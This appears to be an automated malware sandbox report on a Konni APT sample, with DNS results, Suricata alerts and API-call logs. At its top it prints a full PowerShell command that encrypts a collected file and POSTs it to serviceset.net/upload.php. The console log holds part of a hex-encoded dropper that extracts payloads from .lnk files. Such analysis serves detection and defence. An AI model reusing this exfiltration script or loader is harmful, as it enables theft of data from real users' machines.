- powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdesk.txt';$fp='C:\Users\Public\Documents\cuserdesk.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
  2708

Name	Response	Post-Analysis Lookup
myip.opendns.com
serviceset.net	A 88.119.169.93	88.119.169.93
222.222.67.208.in-addr.arpa	PTR dns.umbrella.com PTR dns.opendns.com PTR resolver1.opendns.com
myip.opendns.com	A 175.208.134.152
resolver1.opendns.com	A 208.67.222.222	208.67.222.222

IP Address	Status	Action
164.124.101.2	Active	Moloch
208.67.222.222	Active	Moloch
88.119.169.93	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.101:59005 -> 208.67.222.222:53	2023472	ET POLICY External IP Lookup Domain (myip .opendns .com in DNS lookup)	Device Retrieving External IP Address Detected
UDP 192.168.56.101:59008 -> 208.67.222.222:53	2023472	ET POLICY External IP Lookup Domain (myip .opendns .com in DNS lookup)	Device Retrieving External IP Address Detected
UDP 192.168.56.101:59004 -> 208.67.222.222:53	2023472	ET POLICY External IP Lookup Domain (myip .opendns .com in DNS lookup)	Device Retrieving External IP Address Detected
UDP 192.168.56.101:59007 -> 208.67.222.222:53	2023472	ET POLICY External IP Lookup Domain (myip .opendns .com in DNS lookup)	Device Retrieving External IP Address Detected
TCP 192.168.56.101:49200 -> 88.119.169.93:80	2046820	ET MALWARE [ANY.RUN] Konni.APT Exfiltration	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (50 out of 64 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 10:58 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (9 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 4, 2023, 10:57 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:57 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:57 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:57 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:58 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:58 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:58 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:59 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 10:59 a.m.			0	0

Command line console output was observed (50 out of 429 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 'kLAimNRUoEGuatlUuOKkLLLwVCMvhezlxBGZbIyumICTZzlcbtwSXzTaUTdtXdrCkKpsDzfNVgPktpqbuxogRqLFconpPdMhSkUTqokuzEMGupdlsPXOzXXRDMCoYSeMmfhGAcsodnWboJlPsrwN' is not re console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: cognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: Invoke-Expression : Bad numeric constant: 247772726D. console_handle: 0x00000023	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: At line:1 char:3895 console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: + $dedicte=$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F console_handle: 0x0000003b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 464574654845596D6A68467A66203D204765742D4368696C644974656D202D50617468202477727 console_handle: 0x00000047	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 26D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F console_handle: 0x00000053	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457 console_handle: 0x0000005f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A console_handle: 0x0000006b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656 console_handle: 0x00000077	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D50 console_handle: 0x00000083	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 61746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626 console_handle: 0x0000008f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F62 console_handle: 0x0000009b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 6A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706 console_handle: 0x000000a7	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E7856 console_handle: 0x000000b3	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 67756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D2 console_handle: 0x000000bf	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 8244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F6465 console_handle: 0x000000cb	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 5D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B2 console_handle: 0x000000d7	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 4426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E536565 console_handle: 0x000000e3	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 6B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626 console_handle: 0x000000ef	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E52656164282476 console_handle: 0x000000fb	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 43474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6 console_handle: 0x00000107	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C24 console_handle: 0x00000113	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 4F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B24692 console_handle: 0x0000011f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 02D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046 console_handle: 0x0000012b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783 console_handle: 0x00000137	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A615320 console_handle: 0x00000143	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 2D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785 console_handle: 0x0000014f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F console_handle: 0x0000015b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637 console_handle: 0x00000167	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E5265616428247357 console_handle: 0x00000173	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 6248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682 console_handle: 0x0000017f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D console_handle: 0x0000018b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626 console_handle: 0x00000197	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D console_handle: 0x000001a3	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7 console_handle: 0x000001af	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030 console_handle: 0x000001bb	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A4152614 console_handle: 0x000001c7	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 2202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F62 console_handle: 0x000001d3	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 6A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A2 console_handle: 0x000001df	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 03D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A console_handle: 0x000001eb	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A70756 console_handle: 0x000001f7	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 26C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075 console_handle: 0x00000203	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652 console_handle: 0x0000020f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B246175 console_handle: 0x0000021b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 6A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C7 console_handle: 0x00000227	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: 3746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i console_handle: 0x00000233	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i console_handle: 0x0000023f	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: , 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $ console_handle: 0x0000024b	1	1
WriteConsoleW Sept. 4, 2023, 10:57 a.m.	buffer: hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x console_handle: 0x00000257	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 417 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003769b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003774f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003774f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003774f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003774f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003774f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003774f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00376938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00376938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00376938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003771f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00377678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003775b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003775b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003775b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003775b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003775b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003775b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003775b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x055aa278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x055aa278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x055aa278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x055aa278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 10:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x055aa278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 4, 2023, 10:57 a.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, POST method with no useragent header

suspicious_request

POST http://serviceset.net/upload.php

Performs some HTTP requests (1 event)

request

POST http://serviceset.net/upload.php

Sends data using the HTTP POST Method (1 event)

request

POST http://serviceset.net/upload.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 1790 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02970000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eda000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ed2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
